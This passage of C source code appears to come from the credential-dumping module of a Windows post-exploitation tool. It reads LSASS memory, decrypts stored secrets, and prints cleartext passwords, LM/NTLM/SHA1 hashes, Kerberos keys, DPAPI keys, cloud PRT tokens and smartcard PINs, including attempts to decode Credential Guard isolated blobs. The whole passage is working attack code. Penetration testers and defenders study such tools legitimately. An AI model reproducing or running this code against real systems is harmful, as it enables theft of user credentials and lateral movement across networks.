{ | |
kprintf(L" | LUID %u ; %u (%08x:%08x)\n", data->LogonId->HighPart, data->LogonId->LowPart, data->LogonId->HighPart, data->LogonId->LowPart); | |
kprintf(L" \\_ msv1_0 - "); | |
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, data); | |
kprintf(L"\n"); | |
kprintf(L" \\_ kerberos - "); | |
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, data); | |
kprintf(L"\n"); | |
} | |
} | |
else PRINT_ERROR(L"memory handle is not KULL_M_MEMORY_TYPE_PROCESS\n"); | |
} | |
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags) | |
{ | |
PUNICODE_STRING username = NULL, domain = NULL, password = NULL; | |
PKIWI_CREDENTIAL_KEYS pKeys = NULL; | |
PKERB_HASHPASSWORD_GENERIC pHashPassword; | |
UNICODE_STRING buffer; | |
DWORD type, i; | |
BOOL isNull = FALSE; | |
PWSTR sid = NULL; | |
PBYTE msvCredentials; | |
const MSV1_0_PRIMARY_HELPER * pMSVHelper; | |
#if defined(_M_X64) || defined(_M_ARM64) | |
DWORD cbLsaIsoOutput; | |
PBYTE lsaIsoOutput; | |
PLSAISO_DATA_BLOB blob = NULL; | |
#endif | |
SHA_CTX shaCtx; | |
SHA_DIGEST shaDigest; | |
if(mesCreds) | |
{ | |
ConvertSidToStringSid(pData->pSid, &sid); | |
if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL) | |
{ | |
type = flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL_MASK; | |
if(msvCredentials = (PBYTE) ((PUNICODE_STRING) mesCreds)->Buffer) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) | |
(*lsassLocalHelper->pLsaUnprotectMemory)(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length); | |
switch(type) | |
{ | |
case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY: | |
pMSVHelper = kuhl_m_sekurlsa_msv_helper(pData->cLsass); | |
kull_m_string_MakeRelativeOrAbsoluteString(msvCredentials, (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToLogonDomain), FALSE); | |
kull_m_string_MakeRelativeOrAbsoluteString(msvCredentials, (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToUserName), FALSE); | |
kprintf(L"\n\t * Username : %wZ\n\t * Domain : %wZ", (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToUserName), (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToLogonDomain)); | |
if(!pMSVHelper->offsetToisIso || !*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisIso)) | |
{ | |
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword)) | |
{ | |
kprintf(L"\n\t * LM : "); | |
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToLmOwfPassword, LM_NTLM_HASH_LENGTH, 0); | |
} | |
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword)) | |
{ | |
kprintf(L"\n\t * NTLM : "); | |
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToNtOwfPassword, LM_NTLM_HASH_LENGTH, 0); | |
} | |
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)) | |
{ | |
kprintf(L"\n\t * SHA1 : "); | |
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToShaOwPassword, SHA_DIGEST_LENGTH, 0); | |
} | |
if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))) | |
kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? msvCredentials + pMSVHelper->offsetToNtOwfPassword : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? msvCredentials + pMSVHelper->offsetToShaOwPassword : NULL, NULL, NULL); | |
} | |
#if defined(_M_X64) || defined(_M_ARM64) | |
else | |
{ | |
i = *(PUSHORT) (msvCredentials + pMSVHelper->offsetToIso); | |
if((i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) || | |
i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 3*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) | |
{ | |
if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso), &lsaIsoOutput, &cbLsaIsoOutput)) | |
{ | |
if(cbLsaIsoOutput == (2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) | |
{ | |
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword)) | |
{ | |
kprintf(L"\n\t * NTLM : "); | |
kull_m_string_wprintf_hex(lsaIsoOutput, LM_NTLM_HASH_LENGTH, 0); | |
} | |
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword)) | |
{ | |
kprintf(L"\n\t * LM : "); | |
kull_m_string_wprintf_hex(lsaIsoOutput + LM_NTLM_HASH_LENGTH, LM_NTLM_HASH_LENGTH, 0); | |
} | |
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)) | |
{ | |
kprintf(L"\n\t * SHA1 : "); | |
kull_m_string_wprintf_hex(lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH, SHA_DIGEST_LENGTH, 0); | |
} | |
if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))) | |
kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? lsaIsoOutput : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH : NULL, NULL, NULL); | |
} | |
else | |
{ | |
PRINT_ERROR(L"Size error for NtlmHash LsaIso output (%u)\n", cbLsaIsoOutput); | |
kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1 | (16 << 16)); | |
kprintf(L"\n"); | |
} | |
LocalFree(lsaIsoOutput); | |
} | |
} | |
else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i); | |
} | |
#endif | |
if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected)) | |
{ | |
kprintf(L"\n\t * DPAPI : "); | |
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000 | |
} | |
break; | |
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: | |
if(kull_m_rpc_DecodeCredentialKeys(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length, &pKeys)) | |
{ | |
for(i = 0; i < pKeys->count; i++) | |
kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[i], sid); | |
kull_m_rpc_FreeCredentialKeys(&pKeys); | |
} | |
break; | |
default: | |
kprintf(L"\n\t * Raw data : "); | |
kull_m_string_wprintf_hex(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length, 1); | |
} | |
} | |
} | |
else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CLOUDAP_PRT) | |
{ | |
if(mesCreds->UserName.Buffer) | |
{ | |
if(kull_m_process_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem)) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) | |
(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength); | |
kprintf(L"\n\t PRT : %Z", &mesCreds->UserName); | |
LocalFree(mesCreds->UserName.Buffer); | |
} | |
} | |
if(mesCreds->Password.Buffer) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) | |
(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength); | |
A_SHAInit(&shaCtx); | |
A_SHAUpdate(&shaCtx, mesCreds->Password.Buffer, mesCreds->Password.Length); | |
A_SHAFinal(&shaCtx, &shaDigest); | |
kprintf(L"\n\t DPAPI Key: "); | |
kull_m_string_wprintf_hex(mesCreds->Password.Buffer, mesCreds->Password.Length, 0); | |
kprintf(L" (sha1: "); | |
kull_m_string_wprintf_hex(shaDigest.digest, sizeof(shaDigest.digest), 0); | |
kprintf(L")"); | |
if(sid) | |
kuhl_m_dpapi_oe_credential_add(sid, NULL, NULL, shaDigest.digest, NULL, NULL); | |
} | |
} | |
else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_PINCODE) | |
{ | |
kprintf(L"\n\t * Smartcard"); | |
if(mesCreds->UserName.Buffer) | |
{ | |
if(kull_m_process_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem)) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) | |
(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength); | |
kprintf(L"\n\t PIN code : %wZ", &mesCreds->UserName); | |
LocalFree(mesCreds->UserName.Buffer); | |
} | |
} | |
if(mesCreds->Domaine.Buffer) | |
{ | |
kprintf( | |
L"\n\t Card : %s" | |
L"\n\t Reader : %s" | |
L"\n\t Container: %s" | |
L"\n\t Provider : %s", | |
(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[0], | |
(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[1], | |
(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[2], | |
(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[3] | |
); | |
} | |
} | |
else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST) | |
{ | |
pHashPassword = (PKERB_HASHPASSWORD_GENERIC) mesCreds; | |
kprintf(L"\t %s ", kuhl_m_kerberos_ticket_etype(pHashPassword->Type)); | |
if(buffer.Length = buffer.MaximumLength = (USHORT) pHashPassword->Size) | |
{ | |
buffer.Buffer = (PWSTR) pHashPassword->Checksump; | |
if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem)) | |
{ | |
#if defined(_M_X64) || defined(_M_ARM64) | |
if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10) && (pHashPassword->Size > (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data))) | |
{ | |
if(pHashPassword->Size <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key | |
{ | |
if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer, &lsaIsoOutput, &cbLsaIsoOutput)) | |
{ | |
kprintf(L"\n\t * Key : "); | |
kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 0); | |
LocalFree(lsaIsoOutput); | |
} | |
} | |
else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size); | |
} | |
else | |
#endif | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) | |
(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength); | |
kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0); | |
} | |
LocalFree(buffer.Buffer); | |
} | |
} | |
else kprintf(L"<no size, buffer is incorrect>"); | |
kprintf(L"\n"); | |
} | |
else | |
{ | |
if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10) | |
mesCreds->Password = ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL) mesCreds)->Password; | |
else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10_1607) | |
{ | |
switch(((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->type) | |
{ | |
#if defined(_M_X64) || defined(_M_ARM64) | |
case 1: | |
mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0; | |
mesCreds->Password.Buffer = NULL; | |
buffer.Length = buffer.MaximumLength = (USHORT) ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->IsoPassword.StructSize; | |
buffer.Buffer = (PWSTR) ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->IsoPassword.isoBlob; | |
if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem)) | |
blob = (PLSAISO_DATA_BLOB) buffer.Buffer; | |
//break; | |
//TODO: to check another day :) | |
#endif | |
case 0: | |
// no creds | |
mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0; | |
mesCreds->Password.Buffer = NULL; | |
break; | |
case 2: | |
mesCreds->Password = ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->Password; | |
break; | |
default: | |
PRINT_ERROR(L"Unknown version in Kerberos credentials structure\n"); | |
} | |
} | |
if(mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer || mesCreds->Password.Buffer) | |
{ | |
if(kull_m_process_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem) && kull_m_string_suspectUnicodeString(&mesCreds->UserName)) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) | |
username = &mesCreds->UserName; | |
else | |
domain = &mesCreds->UserName; | |
} | |
if(kull_m_process_getUnicodeString(&mesCreds->Domaine, cLsass.hLsassMem) && kull_m_string_suspectUnicodeString(&mesCreds->Domaine)) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) | |
domain = &mesCreds->Domaine; | |
else | |
username = &mesCreds->Domaine; | |
} | |
if(kull_m_process_getUnicodeString(&mesCreds->Password, cLsass.hLsassMem) /*&& !kull_m_string_suspectUnicodeString(&mesCreds->Password)*/) | |
{ | |
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) | |
(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength); | |
password = &mesCreds->Password; | |
} | |
if(password || !(flags & KUHL_SEKURLSA_CREDS_DISPLAY_WPASSONLY)) | |
{ | |
kprintf((flags & KUHL_SEKURLSA_CREDS_DISPLAY_LINE) ? | |
L"%wZ\t%wZ\t" | |
: | |
L"\n\t * Username : %wZ" | |
L"\n\t * Domain : %wZ" | |
L"\n\t * Password : " | |
, username, domain); | |
if(password) | |
{ | |
if(kull_m_string_suspectUnicodeString(password)) | |
{ | |
if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS)) | |
kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer); | |
else kprintf(L"%wZ", password); | |
} | |
else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1); | |
} | |
#if defined(_M_X64) || defined(_M_ARM64) | |
else if(blob) | |
{ | |
if(kuhl_m_sekurlsa_genericLsaIsoOutput(blob, &lsaIsoOutput, &cbLsaIsoOutput)) | |
{ | |
kprintf(L"\n\t * Password: "); | |
buffer.Length = buffer.MaximumLength = (USHORT) cbLsaIsoOutput; | |
buffer.Buffer = (PWSTR) lsaIsoOutput; | |
if((cbLsaIsoOutput < USHRT_MAX) && kull_m_string_suspectUnicodeString(&buffer)) | |
kprintf(L"%wZ", &buffer); | |
else kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1); | |
LocalFree(lsaIsoOutput); | |
} | |
LocalFree(blob); | |
} | |
#endif | |
else kprintf(L"(null)"); | |
if(username) | |
kuhl_m_sekurlsa_trymarshal(username); | |
} | |
if(username) | |
LocalFree(username->Buffer); | |
if(domain) | |
LocalFree(domain->Buffer); | |
if(password) | |
LocalFree(password->Buffer); | |
} | |
} | |
if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE) | |
kprintf(L"\n"); | |
if(sid) | |
LocalFree(sid); | |
} | |
else kprintf(L"LUID KO\n"); | |
} | |
VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential) | |
{ | |
PWSTR buffer; | |
CRED_MARSHAL_TYPE type; | |
PVOID Credential; | |
if(MarshaledCredential->Length && MarshaledCredential->Buffer) | |
{ | |
if(buffer = (PWSTR) LocalAlloc(LPTR, MarshaledCredential->Length + sizeof(wchar_t))) | |
{ | |
RtlCopyMemory(buffer, MarshaledCredential->Buffer, MarshaledCredential->Length); | |
if(CredIsMarshaledCredential(buffer)) | |
{ | |
kprintf(L"\n\t * Marshaled: "); | |
if(CredUnmarshalCredential(buffer, &type, &Credential)) | |
{ | |
switch(type) | |
{ | |
case CertCredential: | |
if(((PCERT_CREDENTIAL_INFO) Credential)->cbSize == sizeof(CERT_CREDENTIAL_INFO)) | |
{ | |
kprintf(L"[Cert] SHA1:"); | |
kull_m_string_wprintf_hex(((PCERT_CREDENTIAL_INFO) Credential)->rgbHashOfCert, CERT_HASH_LENGTH, 0); | |
} | |
else PRINT_ERROR(L"Credential->cbSize is %u\n", ((PCERT_CREDENTIAL_INFO) Credential)->cbSize); | |
break; | |
case UsernameTargetCredential: | |
kprintf(L"[UsernameTarget] %s\n", ((PUSERNAME_TARGET_CREDENTIAL_INFO) Credential)->UserName); | |
break; | |
case BinaryBlobCredential: | |
kprintf(L"[BinaryBlob] "); | |
kull_m_string_wprintf_hex(((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->pbBlob, ((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->cbBlob, 1); // Check if not ptr to ptr | |
break; | |
case UsernameForPackedCredentials: | |
kprintf(L"[UsernameForPacked] ?"); | |
break; | |
default: | |
kprintf(L"[?] ? %u ?", type); | |
} | |
CredFree(Credential); | |
} | |
else PRINT_ERROR_AUTO(L"CredUnmarshalCredential"); | |
} | |
LocalFree(buffer); | |
} | |
} | |
} | |
VOID kuhl_m_sekurlsa_genericKeyOutput(PKIWI_CREDENTIAL_KEY key, LPCWSTR sid) | |
{ | |
if(key && key->cbData) | |
{ | |
switch(key->type) | |
{ | |
case CREDENTIALS_KEY_TYPE_NTLM: | |
kprintf(L"\n\t * NTLM : "); | |
if(sid) | |
kuhl_m_dpapi_oe_credential_add(sid, NULL, key->pbData, NULL, NULL, NULL); | |
break; | |
case CREDENTIALS_KEY_TYPE_SHA1: | |
kprintf(L"\n\t * SHA1 : "); | |
if(sid) | |
kuhl_m_dpapi_oe_credential_add(sid, NULL, NULL, key->pbData, NULL, NULL); | |
break; | |
case CREDENTIALS_KEY_TYPE_ROOTKEY: | |
kprintf(L"\n\t * RootKey : "); | |
break; | |
case CREDENTIALS_KEY_TYPE_DPAPI_PROTECTION: | |
kprintf(L"\n\t * DPAPI : "); | |
if(sid) | |
kuhl_m_dpapi_oe_credential_add(sid, NULL, NULL, NULL, key->pbData, NULL); | |
break; | |
default: | |
kprintf(L"\n\t * %08x : ", key->type); | |
} | |
kull_m_string_wprintf_hex(key->pbData, key->cbData, 0); | |
} | |
} | |
BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob, LPBYTE *output, DWORD *cbOutput) | |
{ | |
BOOL status = TRUE; | |
kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data); | |
kprintf(L"\n\t KdfContext: "); kull_m_string_wprintf_hex(blob->KdfContext, sizeof(blob->KdfContext), 0); | |
kprintf(L"\n\t Tag : "); kull_m_string_wprintf_hex(blob->Tag, sizeof(blob->Tag), 0); | |
kprintf(L"\n\t AuthData : "); kull_m_string_wprintf_hex(&blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, 0); | |
kprintf(L"\n\t Encrypted : "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->szEncrypted, 0); | |
if(blob->szEncrypted && output && cbOutput) | |
status = kuhl_m_sekurlsa_sk_tryDecode(blob, output, cbOutput); | |
return status; | |
} | |
VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(PENC_LSAISO_DATA_BLOB blob, DWORD size) | |
{ | |
kprintf(L"\n\t * unkData1 : "); kull_m_string_wprintf_hex(blob->unkData1, sizeof(blob->unkData1), 0); | |
kprintf(L"\n\t unkData2 : "); kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); | |
kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data, size - FIELD_OFFSET(ENC_LSAISO_DATA_BLOB, data), 0); | |
} |